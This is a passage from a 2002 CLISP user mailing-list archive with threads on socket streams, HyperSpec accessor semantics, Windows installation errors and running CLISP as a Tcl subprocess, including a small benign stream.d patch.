00:24:03 2002 X-Original-Date: 07 Jan 2002 03:23:51 -0500 Sam Steingold writes: > > * In message > > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > > * Sent on 06 Jan 2002 17:09:22 -0500 > > * Honorable Todd Sabin writes: > > > > Sam Steingold writes: > > > > Generally speaking, I want to be able to do everything with sockets > > that I can do in C, but in lisp. Maybe this isn't the way to do it, I > > don't know. > > I am not sure this is a valid desire. > sockets are very hairy and lisp favor clarity. > I hardly know what to say to this, but I know I'm not alone in this desire. Quoting from the db-sockets page at , "I wish to have the full flexibility of the C interface available from a sensible language." That's not "valid"? I guess what your telling me is to go use cmucl or sbcl. > > Currently, my biggest gripe is that buffered sockets are more or less > > unusable for me, because they only work on 4K blocks, so for things > > like HTTP you can't ever read all the waiting data unless the other > > end has closed (or shutdown) their end of the connection. I'd rather > > that buffered sockets let you deal with the data you've got waiting. > > (Actually, I don't care so much about the buffering on the input side, > > but you can't do buffering on output without doing it on input, too.) > > you are on your own here. sorry. > On my own as in, I've got to figure it out, but you'd (maybe) accept a patch if I do it? or on my own as in, that's the way buffered sockets are supposed to work and you're not changing it? > > I haven't even gotten to UDP sockets, or unix domain sockets, yet, > > which don't seem to be supported, currently. Are they features you'd > > want? Do you know of good lispy interfaces for them? > > see "How to open a UNIX socket with clisp?" thread in this list (October > 2001). Since a unix socket is just a special file in the filesystem, > all we need to do is to make open_file aware of such an option (CLOSE > already is, I think). we even have the necessary code - see > connect_to_x_server() in socket.d. > The issue is, basically, that many systems lack the S_ISSOCK() macro. >[...] Unix domain sockets are not just special files in the filesystem and trying to treat them that way is the wrong approach, IMO. Even if you overcome the S_ISSOCK() issue, how are you going to know whether it's a STREAM or DGRAM socket? I guess you could just try both, but that's rather kludgy. And what about acting as a server with unix domain sockets? How would you accept connections from a file? > > Does clisp have something analogous to unix's select(2) that lets you > > wait on multiple streams until there's data/connections available? > > see SOCKET-STATUS > > I saw that, but found the documentation confusing. Particularly, "Note that this function never waits for input or output to arrive, only for information on input or output presense ... to become available." which makes it sound like the function will return once it can figure out that there is no input or output data present anywhere. I want to block until data is available (or timeout). Am I misunderstanding the docs? Also, is there a reason that it should only work with socket-streams? Wouldn't it be a good thing for it to work on pipe-io-streams, too? (Perhaps it already does, I haven't checked.) Todd From csr21@cam.ac.uk Mon Jan 07 02:17:49 2002 Received: from puce.csi.cam.ac.uk ([131.111.8.40]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NWqh-0001Ii-00 for ; Mon, 07 Jan 2002 02:17:47 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda) by puce.csi.cam.ac.uk with esmtp (Exim 3.34 #1) id 16NWqY-0006Zw-00; Mon, 07 Jan 2002 10:17:38 +0000 Received: from csr21 by lambda with local (Exim 3.33 #1 (Debian)) id 16NWqF-0001UL-00; Mon, 07 Jan 2002 10:17:19 +0000 To: Sam Steingold Cc: William Harold Newman , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP Message-ID: <20020107101718.GA5701@cam.ac.uk> References: <20011230131716.B6073@balefire.localdomain> <20020106211953.GA27584@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 7 02:18:04 2002 X-Original-Date: Mon, 7 Jan 2002 10:17:18 +0000 On Sun, Jan 06, 2002 at 08:42:51PM -0500, Sam Steingold wrote: > > * Honorable William Harold Newman writes: > > [ section 1.4.4.14 of the HyperSpec] > > > > Accessor > > This is an accessor function. > > [etc.] > > So: I think when you see "accessor" at the head of an entry in the > > symbols dictionary, it is to be interpreted as "accessor function". > > (And yes, this *does* seem like a remarkably indirect and confusing > > way to specify the function-not-macro-ness of things like CAR.) > > I would greatly appreciate it if you asked this on comp.lang.lisp. > #'(setf car) is the same as rplaca, so there is no problem there, but > with other macros, it _IS_ an issue. > > You are basically telling me that for each macro I must provide a > function definition which would work the same way as the macro does. > > I don't think this is a valid requirement. I think that what the standard requires is that symbols that are labeled as accessors in the CLHS have functional definitions for both SYMBOL and (SETF SYMBOL), that are returned by FUNCTION and FDEFINITION, and may be called to have the relevant effect. References: Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From abramson@aic.nrl.navy.mil Mon Jan 07 08:30:58 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NceN-0003Op-00 for ; Mon, 07 Jan 2002 08:29:28 -0800 Received: from sun18.aic.nrl.navy.mil (sun18.aic.nrl.navy.mil [132.250.84.28]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id LAA06085 for ; Mon, 7 Jan 2002 11:27:54 -0500 (EST) Received: (from abramson@localhost) by sun18.aic.nrl.navy.mil (8.10.2+Sun/8.10.2) id g07GRkk03578; Mon, 7 Jan 2002 11:27:46 -0500 (EST) To: clisp-list@lists.sourceforge.net From: Myriam Abramson Message-ID: Lines: 12 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] clisp redhat rpm Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 7 08:31:10 2002 X-Original-Date: 07 Jan 2002 11:27:45 -0500 Hi! Where can I find the latest clisp redhat rpm? I found several on rpmfind but I am not sure which one I should pick. Thanks, -- myriam From abramson@aic.nrl.navy.mil Mon Jan 07 08:55:10 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Nd3G-0002KC-00 for ; Mon, 07 Jan 2002 08:55:10 -0800 Received: from sun18.aic.nrl.navy.mil (sun18.aic.nrl.navy.mil [132.250.84.28]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id LAA06404 for ; Mon, 7 Jan 2002 11:53:33 -0500 (EST) Received: (from abramson@localhost) by sun18.aic.nrl.navy.mil (8.10.2+Sun/8.10.2) id g07GrPi03608; Mon, 7 Jan 2002 11:53:25 -0500 (EST) To: clisp-list@lists.sourceforge.net From: myriam Reply-To: mabramso@gmu.edu Message-ID: Lines: 11 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] clisp redhat rpm Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 7 08:56:02 2002 X-Original-Date: 07 Jan 2002 11:53:25 -0500 Hi! Where can I find the latest clisp redhat (7.2) rpm? I found several on rpmfind but I don't know which one I should pick. Thanks, -- myriam From samuel.steingold@verizon.net Mon Jan 07 10:10:56 2002 Received: from smtp002pub.verizon.net ([206.46.170.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NeEZ-00014Z-00 for ; Mon, 07 Jan 2002 10:10:55 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by smtp002pub.verizon.net with ESMTP ; id g07IAdP05355 Mon, 7 Jan 2002 12:10:40 -0600 (CST) To: Myriam Abramson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp redhat rpm References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 7 10:11:03 2002 X-Original-Date: 07 Jan 2002 13:10:37 -0500 > * In message > * On the subject of "[clisp-list] clisp redhat rpm" > * Sent on 07 Jan 2002 11:27:45 -0500 > * Honorable Myriam Abramson writes: > > Where can I find the latest clisp redhat rpm? I do not have a redhat system, but when I did, I created a clisp.spec file (in the CVS now) and made RPMs. If someone would make an RPM, I will gladly distribute it. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Lisp: Serious empowerment. From samuel.steingold@verizon.net Mon Jan 07 10:47:32 2002 Received: from [206.46.170.236] (helo=pop009pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Neo0-00022c-00 for ; Mon, 07 Jan 2002 10:47:32 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by pop009pub.verizon.net with ESMTP ; id g07IlQQ5017323 Mon, 7 Jan 2002 12:47:27 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 84 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 7 10:48:09 2002 X-Original-Date: 07 Jan 2002 13:47:17 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 07 Jan 2002 03:23:51 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > > I am not sure this is a valid desire. > > sockets are very hairy and lisp favor clarity. > > I hardly know what to say to this, but I know I'm not alone in this > desire. Quoting from the db-sockets page at > , "I wish to have the full > flexibility of the C interface available from a sensible language." > That's not "valid"? I guess what your telling me is to go use cmucl > or sbcl. not at all. what I am saying is that _I_ know too little about sockets (as you can probably guess from my messages already) to support this. If you are willing to take responsibility for CLISP socket code, you will be more than welcome. > > you are on your own here. sorry. > > On my own as in, I've got to figure it out, but you'd (maybe) accept > a patch if I do it? yep. "maybe" depends on how clean the patch is, and, most of all, on your commitment to supporting it (for the rest of your earthly existence and beyond it :-) > Unix domain sockets are not just special files in the filesystem and > trying to treat them that way is the wrong approach, IMO. Even if you > overcome the S_ISSOCK() issue, how are you going to know whether it's > a STREAM or DGRAM socket? I guess you could just try both, but that's > rather kludgy. And what about acting as a server with unix domain > sockets? How would you accept connections from a file? how would you like to do this? maybe we should unify the internet sockets with the unix sockets. like, SOCKET-CONNECT, when PORT is a string, will interpret it as a unix socket path... > > > Does clisp have something analogous to unix's select(2) that lets you > > > wait on multiple streams until there's data/connections available? > > > > see SOCKET-STATUS > > > > > > I saw that, but found the documentation confusing. Particularly, > > "Note that this function never waits for input or output to arrive, > only for information on input or output presense ... to become > available." > > which makes it sound like the function will return once it can figure > out that there is no input or output data present anywhere. I want to > block until data is available (or timeout). Am I misunderstanding the > docs? note the &OPTIONAL [seconds [microseconds]] args. if SECONDS is NIL, it will block indefinitely, otherwise, it will wait for this much time. > Also, is there a reason that it should only work with socket-streams? > Wouldn't it be a good thing for it to work on pipe-io-streams, too? > (Perhaps it already does, I haven't checked.) please do check. i believe it should work. if it doesn't - send a patch. I am sorry if I sound like "do it yourself of f..k off" dork. I _am_ overworked, and have a lot on my plate now (and I have a family, and I am not paid for CLISP). I also gladly accept patches. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From william.newman@airmail.net Mon Jan 07 19:17:34 2002 Received: from mx11.airmail.net ([209.196.77.108]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Nmla-0004Bm-00 for ; Mon, 07 Jan 2002 19:17:34 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx11.airmail.net with smtp (Exim 3.33 #1) id 16Nmm3-0006CR-00 for clisp-list@lists.sourceforge.net; Mon, 07 Jan 2002 21:18:03 -0600 Received: from balefire.localdomain from [207.136.38.181] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Mon, 7 Jan 2002 21:19:13 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g08375424304; Mon, 7 Jan 2002 21:07:05 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Message-ID: <20020108030705.GA11259@balefire.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Subject: [clisp-list] Re: do `accessors' have to be functions? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 7 19:18:02 2002 X-Original-Date: Mon, 7 Jan 2002 21:07:05 -0600 On Mon, Jan 07, 2002 at 08:05:13PM -0500, Sam Steingold wrote: > The following message is a courtesy copy of an article > that has been posted to comp.lang.lisp as well. > > > * In message > > * On the subject of "Re: do `accessors' have to be functions?" > > * Sent on Tue, 8 Jan 2002 00:31:13 GMT > > * Honorable Kent M Pitman writes: > > > > Sam Steingold writes: > > > Specifically, is it true that > > > #'(SETF foo) > > > is compliant code for all `foo' which ANSI CL calls accessors and > > > for which is specifies a SETF behavior? > > > > I don't think so. I had thought this might be specified somewhere but > > didn't see it when I just went to look. I'll maybe try again later if > > no one else finds anything in the interim. [writing about my reasoning] > this would imply that (SETF LDB) _must_ be a function too. Ouch, I can see this is a problem, and my interpretation might be wrong. I wrote more in my reply on comp.lang.lisp (which Google Groups warns may take 3-9 hours to appear). -- William Harold Newman "Our users will know fear and cower before our software! Ship it! Ship it and let them flee like the dogs they are!" -- Klingon programmer PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From dozick@irobot.com Wed Jan 09 13:57:56 2002 Received: from firewallt1.irobot.com ([64.69.114.94] helo=mammoth.int.isr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16OQjL-0002mU-00 for ; Wed, 09 Jan 2002 13:57:56 -0800 Received: from cyclops (dhcp-95.int.isr.com [192.168.56.95]) by mammoth.int.isr.com (Postfix) with SMTP id 1F6B9BCFA; Wed, 9 Jan 2002 16:57:54 -0500 (EST) Message-Id: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> X-Sender: dozick@mail.int.isr.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) To: clisp-list@lists.sourceforge.net From: Daniel Ozick Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: [clisp-list] Running CLISP as a Subprocess of Tcl Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 9 13:58:04 2002 X-Original-Date: Wed, 09 Jan 2002 16:59:09 -0500 Hello Everyone, We have a small GUI built in Tcl/Tk under Windows-NT and would like to run CLISP as a child process to perform some computation. Currently, we use this architecture to run a C++ executable (Win32 console app) as a child process of Tcl. The Tcl code looks something like this: set interface_pipe [open "|program" r+] Through 'interface_pipe', we can send input to 'program' stdin and get output from 'program' stdout. When we try this with CLISP 2.27, however, the following error message appears: *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied. Other clues: if we invoke CLISP via Tcl with '--help', we get the correct and expected results. If we start CLISP via Tcl in its own command window by prepending 'cmd /c', CLISP starts up correctly, but we have no access to its standard I/O. Running CLISP from a DOS prompt or BASH shell and redirecting its stdin and stdout works fine. And, as I've said, we've successfully connected via pipe to other programs as subprocesses of Tcl. So there's some interaction between how Tcl handles pipes and subprocesses and what CLISP is trying to do when it starts up. Can anyone help? Any suggestions or ideas will be greatly appreciated. Thank you, Daniel Ozick Daniel N. Ozick Lead Software Engineer iRobot Corporation Twin City Office Center, Suite 6 22 McGrath Highway Somerville, MA 02143 Voice: (617) 629-0055 x285 Fax: (617) 629-0126 E-mail: dozick@irobot.com Web: http://www.irobot.com From lange@maine.edu Wed Jan 09 15:06:58 2002 Received: from mails.unet.maine.edu ([130.111.32.30] helo=namek.unet.maine.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ORoA-0007GF-00 for ; Wed, 09 Jan 2002 15:06:58 -0800 Received: from franklin.unet.maine.edu (franklin.unet.maine.edu [130.111.39.64]) by namek.unet.maine.edu (8.11.6/8.11.6) with ESMTP id g09N5CS06423 for ; Wed, 9 Jan 2002 18:05:12 -0500 Received: (from apache@localhost) by franklin.unet.maine.edu (8.11.6/8.11.6) id g09N59i29739 for clisp-list@lists.sourceforge.net; Wed, 9 Jan 2002 18:05:09 -0500 From: lange@maine.edu To: clisp-list@lists.sourceforge.net Message-ID: <1010617509.3c3ccca57d2a0@jabber.maine.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.6 X-Originating-IP: 130.111.95.147 X-ECS-MailScanner: Found to be clean Subject: [clisp-list] on win2k cannot install binary Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 9 15:07:06 2002 X-Original-Date: Wed, 09 Jan 2002 18:05:09 -0500 (EST) I downloaded tghe binary clisp-2.27 for win and ran the install.bat lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp and got the error message [pathname.d:6610] *** - Win32 error 2 ; Wed, 09 Jan 2002 15:46:49 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by smtp003pub.verizon.net with ESMTP ; id g09NkYx00643 Wed, 9 Jan 2002 17:46:36 -0600 (CST) To: Daniel Ozick Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> Message-ID: Lines: 60 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 9 15:47:03 2002 X-Original-Date: 09 Jan 2002 18:45:44 -0500 > * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> > * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl" > * Sent on Wed, 09 Jan 2002 16:59:09 -0500 > * Honorable Daniel Ozick writes: > > We have a small GUI built in Tcl/Tk under Windows-NT and would like to run > CLISP as a child process to perform some computation. Currently, we use > this architecture to run a C++ executable (Win32 console app) as a child > process of Tcl. The Tcl code looks something like this: > > set interface_pipe [open "|program" r+] > > Through 'interface_pipe', we can send input to 'program' stdin and get > output from 'program' stdout. I am not a Tcl expert, so could you please give me a sample session? E.g., set a [open "|clisp" r+] puts $a "(1+ 10)" puts $a "(bye)" get_all_output <---- how do I do this? "gets $a b; echo $b" is ugly! how do I check whether input is available? > When we try this with CLISP 2.27, however, the following error message > appears: > > *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied. CLISP cannot open the console - no wonder, Tcl has it! > Can anyone help? Any suggestions or ideas will be greatly appreciated. try the appended patch. it will break WITH-KEYBOARD-INPUT, but you are not using it anyway, right? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! You can have it good, soon or cheap. Pick two... Index: stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.246 diff -u -w -b -u -b -w -i -B -r1.246 stream.d --- stream.d 2002/01/07 21:41:36 1.246 +++ stream.d 2002/01/09 23:44:35 @@ -15185,7 +15185,7 @@ # Initialize the *KEYBOARD-INPUT* stream. This can fail in some cases, # therefore we do it after the standard streams are in place, so that # the user will get a reasonable error message. - #if defined(UNIX) || defined(RISCOS) + #if 1 # defined(UNIX) || defined(RISCOS) # Building the keyboard stream is a costly operation. Delay it # until we really need it. define_variable(S(keyboard_input),NIL); # *KEYBOARD-INPUT* From samuel.steingold@verizon.net Wed Jan 09 15:53:14 2002 Received: from out006pub.verizon.net ([206.46.170.106]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16OSWt-0006YE-00 for ; Wed, 09 Jan 2002 15:53:11 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out006pub.verizon.net with ESMTP ; id g09Nr3906199 Wed, 9 Jan 2002 17:53:04 -0600 (CST) To: lange@maine.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] on win2k cannot install binary References: <1010617509.3c3ccca57d2a0@jabber.maine.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1010617509.3c3ccca57d2a0@jabber.maine.edu> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 9 15:54:01 2002 X-Original-Date: 09 Jan 2002 18:52:15 -0500 > * In message <1010617509.3c3ccca57d2a0@jabber.maine.edu> > * On the subject of "[clisp-list] on win2k cannot install binary" > * Sent on Wed, 09 Jan 2002 18:05:09 -0500 (EST) > * Honorable lange@maine.edu writes: > > I downloaded tghe binary clisp-2.27 for win and ran the install.bat > > lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp > > and got the error message > [pathname.d:6610] > *** - Win32 error 2 find the file specified. > > I have downloaded it several times with the same result. > I have put full pathnames for lisp, install, etc. but do not > need to since all is in the correct place. I do not know > what file it cannot find. you are using the hard-coded desktop location which is correct for winnt but wrong for w2k. this was fixed on 2001-08-16. please use the CVS () to get the current version of install.lisp and try again. note that all install.lisp does is set add some registry settings. that's all. you do _NOT_ have to use it to have a working CLISP installation. thanks. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Booze is the answer. I can't remember the question. From dozick@irobot.com Thu Jan 10 08:05:46 2002 Received: from firewallt1.irobot.com ([64.69.114.94] helo=mammoth.int.isr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ohi5-0004ja-00 for ; Thu, 10 Jan 2002 08:05:45 -0800 Received: from cyclops (dhcp-95.int.isr.com [192.168.56.95]) by mammoth.int.isr.com (Postfix) with SMTP id 64E66BD1E; Thu, 10 Jan 2002 11:05:42 -0500 (EST) Message-Id: <3.0.5.32.20020110110659.014a8e80@mail.int.isr.com> X-Sender: dozick@mail.int.isr.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) To: sds@gnu.org From: Daniel Ozick Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 08:06:10 2002 X-Original-Date: Thu, 10 Jan 2002 11:06:59 -0500 Thank you, Sam Steingold! At 06:45 PM 1/9/02 -0500, Sam Steingold wrote: >> * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> >> * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl" >> * Sent on Wed, 09 Jan 2002 16:59:09 -0500 >> * Honorable Daniel Ozick writes: >> >> We have a small GUI built in Tcl/Tk under Windows-NT and would like to run >> CLISP as a child process to perform some computation. Currently, we use >> this architecture to run a C++ executable (Win32 console app) as a child >> process of Tcl. The Tcl code looks something like this: >> >> set interface_pipe [open "|program" r+] >> >> Through 'interface_pipe', we can send input to 'program' stdin and get >> output from 'program' stdout. > >I am not a Tcl expert, so could you please give me a sample session? >E.g., > >set a [open "|clisp" r+] >puts $a "(1+ 10)" >puts $a "(bye)" >get_all_output <---- how do I do this? "gets $a b; echo $b" is ugly! read $a will return all the data from the channel up to end-of-file. >how do I check whether input is available? fblocked $a will test whether the input has been exhausted on the channel. eof $a will test for end-of-file on the channel. You can also set up file event handlers which fire when the channel is readable or writeable. >> When we try this with CLISP 2.27, however, the following error message >> appears: >> >> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied. > >CLISP cannot open the console - no wonder, Tcl has it! > >> Can anyone help? Any suggestions or ideas will be greatly appreciated. > >try the appended patch. it will break WITH-KEYBOARD-INPUT, but you are >not using it anyway, right? << Index: stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.246 diff -u -w -b -u -b -w -i -B -r1.246 stream.d --- stream.d 2002/01/07 21:41:36 1.246 +++ stream.d 2002/01/09 23:44:35 @@ -15185,7 +15185,7 @@ # Initialize the *KEYBOARD-INPUT* stream. This can fail in some cases, # therefore we do it after the standard streams are in place, so that # the user will get a reasonable error message. - #if defined(UNIX) || defined(RISCOS) + #if 1 # defined(UNIX) || defined(RISCOS) # Building the keyboard stream is a costly operation. Delay it # until we really need it. define_variable(S(keyboard_input),NIL); # *KEYBOARD-INPUT* >> Right, we are not using WITH-KEYBOARD-INPUT. However, rebuilding CLISP is beyond my current capabilities. (I don't even have the full source.) Is there a simple way to apply the patch without doing a full build? If not, where do I start reading to learn how to do a build? Depending on the complexity of rebuilding and the tools necessary, I may decide to work around the problem in some other way, since building CLISP is certainly a major diversion from the task at hand. Thanks again. Daniel N. Ozick Lead Software Engineer iRobot Corporation Twin City Office Center, Suite 6 22 McGrath Highway Somerville, MA 02143 Voice: (617) 629-0055 x285 Fax: (617) 629-0126 E-mail: dozick@irobot.com Web: http://www.irobot.com From samuel.steingold@verizon.net Thu Jan 10 08:21:47 2002 Received: from [206.46.170.235] (helo=pop008pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ohxa-0000Vg-00 for ; Thu, 10 Jan 2002 08:21:46 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by pop008pub.verizon.net with ESMTP ; id g0AGLSqK028956 Thu, 10 Jan 2002 10:21:31 -0600 (CST) To: Daniel Ozick Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020110110659.014a8e80@mail.int.isr.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3.0.5.32.20020110110659.014a8e80@mail.int.isr.com> Message-ID: Lines: 68 User-Agent: Gnus/5.09 (Gnus 